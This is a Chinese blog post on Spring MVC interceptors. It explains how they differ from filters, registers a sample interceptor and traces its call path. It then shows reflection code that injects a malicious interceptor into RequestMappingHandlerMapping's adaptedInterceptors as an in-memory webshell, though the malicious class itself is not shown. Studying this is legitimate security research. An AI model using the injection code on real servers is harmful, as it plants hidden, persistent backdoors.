文章目录
前言
Interceptor和Filter的区别
Interceptor和Filter过滤器不同:
拦截器一般用来做日志记录,过滤器用于过滤非法操作
实现HandlerInterceptor接口
编写Interceptor需要实现HandlerInterceptor
接口,有三个方法,其中preHandle返回bool
方法调用顺序
- preHandle在Controller之前调用,如果返回true继续运行,否则直接中断
- postHandle和afterCompletion的调用要保证preHandle返回true
编写Interceptor
写一个示例Interceptor
package com.example.javaspring;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion()");
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle()");
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle()");
response.setContentType("text/html");
response.getOutputStream().print("preHandle()<br>");
response.flushBuffer();
return true;
}
}
有一个关键点:如果需要在页面上显示时,调用response.getOutputStream()
,如果调用getWriter()
会由于Writer冲突而报错;最后清空缓存
配置启用Interceptor
对于过滤器,直接配置注解即可,而拦截器需要手动编写一个Config添加进去才能生效
配置需要继承WebMvcConfigurer接口,重写addInterceptors方法,设置@Configuration
注解
package com.example.javaspring;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor()).addPathPatterns("/");
}
}
直接向InterceptorRegistry注册自定义拦截器实例,然后调用addPathPatterns方法添加URl拦截规则即可
拦截规则支持通配符*
和**
,*
匹配任意一层目录、 **
匹配任意多层目录
Interceptor示例
有一个Index的Controller
访问
命令台有回显,调用顺序如图所示:
Interceptor调用分析
在preHandle打上断点,来到DispatcherServlet.doDispatch()
先进性了getHandler的操作
遍历handlerMapping,然后调用getHandler方法
最终调用的是SimpleUrlHandler的getHandler方法,是一个HandlerExecutionChain对象
返回上一步看一看SimpleUrlHandler的getHandler方法细节:
调用了AbstractHandlerMapping.getHandlerExecutionChain
从adaptedInterceptors把符合的拦截器统统添加到chain里面了
adaptedInterceptors存放着全部拦截器,是private的,而且是List类型
然后继续追DispatcherServlet,来到applyPreHandle调用preHandle方法
Interceptor内存马
原理
参照调用流程:
- 获取RequestMappingHandlerMapping
- 获取adaptedInterceptors
- 由于是List直接add
Ⅰ. 获取RequestMappingHandlerMapping
AbstractHandlerMapping实现是RequestMappingHandlerMapping,这步与恶意Controller一致
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Ⅱ. 获取adaptedInterceptors
反射
Field field = null;
try {
field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Ⅲ. 添加恶意拦截器
adaptInterceptors.add(new InjectEvilInterceptor("a"));
参考引用
https://www.cnblogs.com/cnsdhzzl/p/6109424.html
https://www.cnblogs.com/zpchcbd/p/15545773.html
https://blog.csdn.net/reggergdsg/article/details/52962774
https://blog.csdn.net/chenleixing/article/details/44573495
https://blog.csdn.net/weixin_44360895/article/details/113796040
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/124024799
版权声明:本文为原创,转载时须注明出处及本声明